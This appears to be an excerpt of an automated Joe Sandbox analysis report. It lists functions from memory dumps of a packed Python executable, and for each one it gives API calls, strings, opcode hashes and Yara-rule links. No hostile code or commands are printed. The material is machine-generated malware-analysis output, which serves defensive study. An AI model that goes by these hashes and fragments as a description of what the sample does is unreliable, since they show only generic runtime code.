Associated: 00000002.00000002.1507566222.00007FFBBB61B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507625049.00007FFBBB622000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507647689.00007FFBBB623000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb600000_YgJ5inWPQO.jbxd

Similarity

API ID: Err_$LongMapping_String$CheckDeallocFormatItemLong_OccurredOptionalUnsigned
String ID: Filter specifier must be a dict or dict-like object$Filter specifier must have an "id" entry$Invalid filter ID: %llu
API String ID: 1419212076-3390802605
Opcode ID: b1a312e01708d1eea9ab1fd864ba648df84427f25b19ea49e84bd239f63c50e1
Instruction ID: cc3a2f25962324dbbdcf79a998a980a03d1ed2f116bb97828b5caa4397fc1b4c
Opcode Fuzzy Hash: b1a312e01708d1eea9ab1fd864ba648df84427f25b19ea49e84bd239f63c50e1
Instruction Fuzzy Hash: 2D31DAF1A08A4389EE589F7ADD55178B2A0FF85B84F08E032DB0F46674DE2CAC559748

Function 00007FF7FF5880B0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetWindowLongPtrW.USER32 ref: 00007FF7FF5880EF
GetWindowLongPtrW.USER32 ref: 00007FF7FF58816F
ShutdownBlockReasonCreate.USER32 ref: 00007FF7FF588182
GetLastError.KERNEL32 ref: 00007FF7FF58818C
SetWindowLongPtrW.USER32 ref: 00007FF7FF5881A3

Strings

Needs to remove its temporary files., xrefs: 00007FF7FF588175

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: LongWindow$BlockCreateErrorLastReasonShutdown
String ID: Needs to remove its temporary files.
API String ID: 3975851968-2863640275
Opcode ID: 1b4b32be61da5f45784fe9fe2f7d724fb74bbaf2a32eb33803c40e4204126e7e
Instruction ID: a689ae1f0651379f4a7ca02aaceeab5828097c6693eed5471cac9fc214f9df41
Opcode Fuzzy Hash: 1b4b32be61da5f45784fe9fe2f7d724fb74bbaf2a32eb33803c40e4204126e7e
Instruction Fuzzy Hash: E221B725B09AC282E7416B7AA8441B9E751FF88B91FD84331DE3D473E4DE2CD5A1C3A1

Function 00007FFBBCD47888 Relevance: 16.7, APIs: 11, Instructions: 158COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD478F0
DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD479ED
DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD47A46
DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD47A72
DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD47A84
DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD47AB3

Memory Dump Source

Source File: 00000002.00000002.1507818191.00007FFBBCD41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFBBCD40000, based on PE: true

Associated: 00000002.00000002.1507793399.00007FFBBCD40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507847370.00007FFBBCD54000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507910297.00007FFBBCD59000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507939034.00007FFBBCD5A000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbcd40000_YgJ5inWPQO.jbxd

Similarity

API ID: Name::operator+
String ID:
API String ID: 2943138195-0
Opcode ID: 59ff93c280199e5836e6df8be1a97549f355a4d451030ffe8799044faf8f3d85
Instruction ID: d1fba7c03b36b6a917fe2a2cece46f6af12a626b519ee927bc23183e2bfef55c
Opcode Fuzzy Hash: 59ff93c280199e5836e6df8be1a97549f355a4d451030ffe8799044faf8f3d85
Instruction Fuzzy Hash: D5715BF6B04A429AEB10DF78D4991EC33B1AB0478CB814435DF0D57A89EF38D61AC798

Function 00007FFBBB607FEC Relevance: 16.7, APIs: 11, Instructions: 154COMMON

Download Yara Rule

APIs

PyMem_Malloc.PYTHON313 ref: 00007FFBBB6080AD
memcpy.VCRUNTIME140 ref: 00007FFBBB6080D5
memcpy.VCRUNTIME140 ref: 00007FFBBB60811F
PyBytes_FromStringAndSize.PYTHON313 ref: 00007FFBBB608152
PyMem_Realloc.PYTHON313 ref: 00007FFBBB608196
memmove.VCRUNTIME140 ref: 00007FFBBB6081C4
PyErr_SetNone.PYTHON313 ref: 00007FFBBB614630
PyMem_Free.PYTHON313 ref: 00007FFBBB614655
_Py_Dealloc.PYTHON313 ref: 00007FFBBB614689

Memory Dump Source

Source File: 00000002.00000002.1507537143.00007FFBBB601000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFBBB600000, based on PE: true

Associated: 00000002.00000002.1507511842.00007FFBBB600000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB617000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB61B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507625049.00007FFBBB622000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507647689.00007FFBBB623000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb600000_YgJ5inWPQO.jbxd

Similarity

API ID: Mem_$memcpy$Bytes_DeallocErr_FreeFromMallocNoneReallocSizeStringmemmove
String ID:
API String ID: 1220578264-0
Opcode ID: 2ce1e75fb51f9a3f206443671645bee960fc5d54ef179fc2ab26c157188d4aa1
Instruction ID: a0fc774510eabffd18e7a0a48d5763ceb5a8752a4fcae13697d1afb4adcdbd7e
Opcode Fuzzy Hash: 2ce1e75fb51f9a3f206443671645bee960fc5d54ef179fc2ab26c157188d4aa1
Instruction Fuzzy Hash: B65119A2A09A4285EF64CF3AE980239B2A5FF54F94F549131CF4F17764DF38E8918308

Function 00007FFBBCD4D650 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 194COMMONLIBRARYCODE

Download Yara Rule

Strings

template-parameter-, xrefs: 00007FFBBCD4D70C
generic-type-, xrefs: 00007FFBBCD4D753
`template-parameter-, xrefs: 00007FFBBCD4D73F
`generic-type-, xrefs: 00007FFBBCD4D786

Memory Dump Source

Source File: 00000002.00000002.1507818191.00007FFBBCD41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFBBCD40000, based on PE: true

Associated: 00000002.00000002.1507793399.00007FFBBCD40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507847370.00007FFBBCD54000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507910297.00007FFBBCD59000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507939034.00007FFBBCD5A000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbcd40000_YgJ5inWPQO.jbxd

Similarity

API ID:
String ID: `generic-type-$`template-parameter-$generic-type-$template-parameter-
API String ID: 0-3207858774
Opcode ID: 6ea09e53c78372fd51fc6217c56ea2e3ac166cdbb3b457d9f2a8c27783302216
Instruction ID: ad124b6483269d1734449237d20bbd1c0ed6f8064a8ca74404ee7aaaa5a29c77
Opcode Fuzzy Hash: 6ea09e53c78372fd51fc6217c56ea2e3ac166cdbb3b457d9f2a8c27783302216
Instruction Fuzzy Hash: 50819CEAB08A8689FB10DF39D4982BC73A1AB54B88F445136DB4D03795DF3CE946C358

Function 00007FFBBCD49358 Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 126COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD493B2
DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD494E8

Strings

`unknown ecsu', xrefs: 00007FFBBCD4937E
class , xrefs: 00007FFBBCD494FD
coclass , xrefs: 00007FFBBCD494A1
union , xrefs: 00007FFBBCD49515
cointerface , xrefs: 00007FFBBCD4948F
enum , xrefs: 00007FFBBCD494C5
struct , xrefs: 00007FFBBCD4950C

Memory Dump Source

Source File: 00000002.00000002.1507818191.00007FFBBCD41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFBBCD40000, based on PE: true

Associated: 00000002.00000002.1507793399.00007FFBBCD40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507847370.00007FFBBCD54000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507910297.00007FFBBCD59000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507939034.00007FFBBCD5A000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbcd40000_YgJ5inWPQO.jbxd

Similarity

API ID: Name::operator+
String ID: `unknown ecsu'$class $coclass $cointerface $enum $struct $union
API String ID: 2943138195-1464470183
Opcode ID: af40fed7b60034fd5c5e0a5ae54bcf9e4d80c7769b22b13ab88bd66fa3393346
Instruction ID: 63f0bb7e195d0441c3e1cfdddb9aba016caa5506520b299fe1de33bcc029e535
Opcode Fuzzy Hash: af40fed7b60034fd5c5e0a5ae54bcf9e4d80c7769b22b13ab88bd66fa3393346
Instruction Fuzzy Hash: 7D5149FAF18A1289FB10CB79E8886BC37B5BB14344F540135DB1E56A99DF39E505C708

Function 00007FFBBB63A1E0 Relevance: 15.2, APIs: 10, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FFBBB63A208
__scrt_acquire_startup_lock.LIBCMT ref: 00007FFBBB63A25A
_RTC_Initialize.LIBCMT ref: 00007FFBBB63A288
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FFBBB63A2AE
__scrt_release_startup_lock.LIBCMT ref: 00007FFBBB63A2D9

Memory Dump Source

Source File: 00000002.00000002.1507696476.00007FFBBB631000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFBBB630000, based on PE: true

Associated: 00000002.00000002.1507671623.00007FFBBB630000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507721671.00007FFBBB63D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507748441.00007FFBBB641000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507768534.00007FFBBB642000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb630000_YgJ5inWPQO.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 70915207e7be9065a407a64c40093981d4266dbe3b87672567642ae960650288
Instruction ID: b9d31e98466a28afc4ba4fdd12a1f3028916c414d2720dc52a7174d3e28b8a74
Opcode Fuzzy Hash: 70915207e7be9065a407a64c40093981d4266dbe3b87672567642ae960650288
Instruction Fuzzy Hash: B38149A3E0860386FA54AB7DDC8527DA690BF46780F54C035DB4ED36B6DE2CEC45E608

Function 00007FFBBB612EC0 Relevance: 15.2, APIs: 10, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FFBBB612EE8
__scrt_acquire_startup_lock.LIBCMT ref: 00007FFBBB612F3A
_RTC_Initialize.LIBCMT ref: 00007FFBBB612F68
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FFBBB612F8E
__scrt_release_startup_lock.LIBCMT ref: 00007FFBBB612FB9

Memory Dump Source

Source File: 00000002.00000002.1507537143.00007FFBBB601000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFBBB600000, based on PE: true

Associated: 00000002.00000002.1507511842.00007FFBBB600000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB617000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB61B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507625049.00007FFBBB622000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507647689.00007FFBBB623000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb600000_YgJ5inWPQO.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 304648fe44af0b0642874aeeb3fd5233e45cc95158f24f653d2d0f5b48aa927d
Instruction ID: 72ba158f4d19dc39e2391dcfeb31c0bd59cc05245f4ba1a9bf87dbf3ea5c6db4
Opcode Fuzzy Hash: 304648fe44af0b0642874aeeb3fd5233e45cc95158f24f653d2d0f5b48aa927d
Instruction Fuzzy Hash: BA8166E1E08643A6FA149B3DDC41279F6A4BF45B80F44E434EB0F563B6DE2CEC458608

Function 00007FFBBB633250 Relevance: 15.2, APIs: 10, Instructions: 150COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FFBBB6332CE
PyBytes_FromStringAndSize.PYTHON313 ref: 00007FFBBB633356
PyMem_Malloc.PYTHON313 ref: 00007FFBBB63339E
memcpy.VCRUNTIME140 ref: 00007FFBBB6333CC
PyMem_Realloc.PYTHON313 ref: 00007FFBBB6333E9
_Py_Dealloc.PYTHON313 ref: 00007FFBBB63B6E7

Memory Dump Source

Source File: 00000002.00000002.1507696476.00007FFBBB631000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFBBB630000, based on PE: true

Associated: 00000002.00000002.1507671623.00007FFBBB630000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507721671.00007FFBBB63D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507748441.00007FFBBB641000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507768534.00007FFBBB642000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb630000_YgJ5inWPQO.jbxd

Similarity

API ID: Mem_memcpy$Bytes_DeallocFromMallocReallocSizeString
String ID:
API String ID: 2377850682-0
Opcode ID: 899608a81334ef61ac34276615ae4fc4249bfbbc58ed4a6ca9e48d25f1f2f9ab
Instruction ID: c4741342383522ed4c3c7b5b42ce3c38f8f881b99ac2e6f99828b2bbf3c7c249
Opcode Fuzzy Hash: 899608a81334ef61ac34276615ae4fc4249bfbbc58ed4a6ca9e48d25f1f2f9ab
Instruction Fuzzy Hash: CB5128B3A09B8281EB108F3EE944279A2A4BB05B84F18C435CF8E57765DF3CE855D308

Function 00007FF7FF596300 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 494COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF596343
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF596730
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF5969CC

Strings

p, xrefs: 00007FF7FF5963F5
-, xrefs: 00007FF7FF5963D9
p, xrefs: 00007FF7FF59646D
:, xrefs: 00007FF7FF5964FC
f, xrefs: 00007FF7FF596465

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$:$f$p$p
API String ID: 3215553584-2013873522
Opcode ID: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction ID: 1f306e519a96028b74d20d62fd11342280a941ce0d22d7ee19ee4a040a80e00d
Opcode Fuzzy Hash: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction Fuzzy Hash: 58126D62A0C1C386FB38BB14D1546F9B695FB41750FD44235E6BA47AC4DF3CE9888BA0

Function 00007FF7FF591038 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF591078
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF591440
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF5916DF

Strings

f, xrefs: 00007FF7FF591110
f, xrefs: 00007FF7FF59117A
p, xrefs: 00007FF7FF59111D
f, xrefs: 00007FF7FF5912C5
p, xrefs: 00007FF7FF591182

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction ID: ee94746ab76c09dc172229fd4a4af167e040987f4deffd1534f6486bc1e4e9cf
Opcode Fuzzy Hash: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction Fuzzy Hash: 03125022E0C1E386FF38BA15E0546F9E661EB40754FD84235E6B947AC4DF7CE4808BA4

Function 00007FFBBCD41E9C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FFBBCD4203A
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFBBCD42047

Part of subcall function 00007FFBBCD45508: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFBBCD4108E), ref: 00007FFBBCD45516

terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFBBCD422FB
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFBBCD42346
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FFBBCD4237B

Strings

csm, xrefs: 00007FFBBCD41F81
csm, xrefs: 00007FFBBCD41FE3
csm, xrefs: 00007FFBBCD42063

Memory Dump Source

Source File: 00000002.00000002.1507818191.00007FFBBCD41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFBBCD40000, based on PE: true

Associated: 00000002.00000002.1507793399.00007FFBBCD40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507847370.00007FFBBCD54000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507910297.00007FFBBCD59000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507939034.00007FFBBCD5A000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbcd40000_YgJ5inWPQO.jbxd

Similarity

API ID: abortterminate$Is_bad_exception_allowedstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 211107550-393685449
Opcode ID: 579c448420c1f2a36cb32246af93653fbc5f1fd4bf1dbfa0e8ef84cdd48a3a2d
Instruction ID: 822b0c57b736286d2bd82037ecea00fd45b03184d4a9931a90d646792aab17dd
Opcode Fuzzy Hash: 579c448420c1f2a36cb32246af93653fbc5f1fd4bf1dbfa0e8ef84cdd48a3a2d
Instruction Fuzzy Hash: 63E1C0F6B086828AE710DF78D4883AD7BA1FB44B59F104235DB8D57666DF38E481C704

Function 00007FF7FF581050 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 119COMMON

Download Yara Rule

Strings

malloc, xrefs: 00007FF7FF58110F
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF7FF5811F6
fseek, xrefs: 00007FF7FF5810D3
fread, xrefs: 00007FF7FF5811FD
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF7FF581108
Failed to extract %s: failed to open archive file!, xrefs: 00007FF7FF581098
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF7FF5810CC

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: 1c2171175d3d913f9d049cd0caef72b4136420d7d17f701daae5e244edb4a223
Instruction ID: 130b96ae9817b0e558ee9e765f441cb743f971aefdf0deaf4aa8a81fee3a9b7f
Opcode Fuzzy Hash: 1c2171175d3d913f9d049cd0caef72b4136420d7d17f701daae5e244edb4a223
Instruction Fuzzy Hash: 80415721A0869286EB14FB12A8406FAE794BF45B84FC44632ED7D077D6DE3CE546C7E0

Function 00007FFBBB631ED4 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 119COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FFBBB63B11A

Strings

%d work, %d block, ratio %5.2f, xrefs: 00007FFBBB63B100
VUUU, xrefs: 00007FFBBB631F91
too repetitive; using fallback sorting algorithm, xrefs: 00007FFBBB63B123

Memory Dump Source

Source File: 00000002.00000002.1507696476.00007FFBBB631000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFBBB630000, based on PE: true

Associated: 00000002.00000002.1507671623.00007FFBBB630000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507721671.00007FFBBB63D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507748441.00007FFBBB641000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507768534.00007FFBBB642000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb630000_YgJ5inWPQO.jbxd

Similarity

API ID: __acrt_iob_func
String ID: %d work, %d block, ratio %5.2f$ too repetitive; using fallback sorting algorithm$VUUU
API String ID: 711238415-2988393112
Opcode ID: 18a46e59b38c0ffc594a90cb27ab0c0b365cb8b5e384a93f1effe7021e4673d3
Instruction ID: 172fc190bae116d0adfaac929023684d3d8cb31e1b0c896d71f2877a2c2693e7
Opcode Fuzzy Hash: 18a46e59b38c0ffc594a90cb27ab0c0b365cb8b5e384a93f1effe7021e4673d3
Instruction Fuzzy Hash: 0F418CB3A0864287E6149B3DD845168B7A5FB98B94F108236DF0F537A5DF39EC82C604

Function 00007FF7FF588850 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 116COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(?,?,00000000,00007FF7FF583CBB), ref: 00007FF7FF5888F4
GetCurrentProcessId.KERNEL32(?,00000000,00007FF7FF583CBB), ref: 00007FF7FF5888FA
CreateDirectoryW.KERNEL32(?,00000000,00007FF7FF583CBB), ref: 00007FF7FF58893C

Part of subcall function 00007FF7FF588A20: GetEnvironmentVariableW.KERNEL32(00007FF7FF58388E), ref: 00007FF7FF588A57
Part of subcall function 00007FF7FF588A20: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF7FF588A79

Part of subcall function 00007FF7FF5982A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF5982C1

Part of subcall function 00007FF7FF582810: MessageBoxW.USER32 ref: 00007FF7FF5828EA

Strings

TMP, xrefs: 00007FF7FF5888B2
LOADER: failed to set the TMP environment variable., xrefs: 00007FF7FF5888CC
_MEI%d, xrefs: 00007FF7FF588902
TMP, xrefs: 00007FF7FF58888C, 00007FF7FF588993
LOADER: length of teporary directory path exceeds maximum path length!, xrefs: 00007FF7FF58896E

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: Environment$CreateCurrentDirectoryExpandMessagePathProcessStringsTempVariable_invalid_parameter_noinfo
String ID: LOADER: failed to set the TMP environment variable.$LOADER: length of teporary directory path exceeds maximum path length!$TMP$TMP$_MEI%d
API String ID: 3563477958-1339014028
Opcode ID: 3a70bda7ffd5e2f24f75b68c8ad2fcede7245b413113c53eacf20ccce7bf2460
Instruction ID: 86979438d1f6213863f5b2f138208d8bac97bee4d79f3f3289ff0c5bc3daa82e
Opcode Fuzzy Hash: 3a70bda7ffd5e2f24f75b68c8ad2fcede7245b413113c53eacf20ccce7bf2460
Instruction Fuzzy Hash: 1A419D12A096C340EB24BB25A8552F99291FF89B85FC04331ED3D4B7D6EE3CE501C6E0

Function 00007FFBBCD4B088 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 111COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD4B23C

Part of subcall function 00007FFBBCD47BDC: DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD48147
Part of subcall function 00007FFBBCD47BDC: DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD4817F

DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD4B1EE

Strings

cli::array<, xrefs: 00007FFBBCD4B1BB
void, xrefs: 00007FFBBCD4B0D2
void , xrefs: 00007FFBBCD4B0FA
cli::pin_ptr<, xrefs: 00007FFBBCD4B205
std::nullptr_t , xrefs: 00007FFBBCD4B17A
std::nullptr_t, xrefs: 00007FFBBCD4B167

Memory Dump Source

Source File: 00000002.00000002.1507818191.00007FFBBCD41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFBBCD40000, based on PE: true

Associated: 00000002.00000002.1507793399.00007FFBBCD40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507847370.00007FFBBCD54000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507910297.00007FFBBCD59000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507939034.00007FFBBCD5A000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

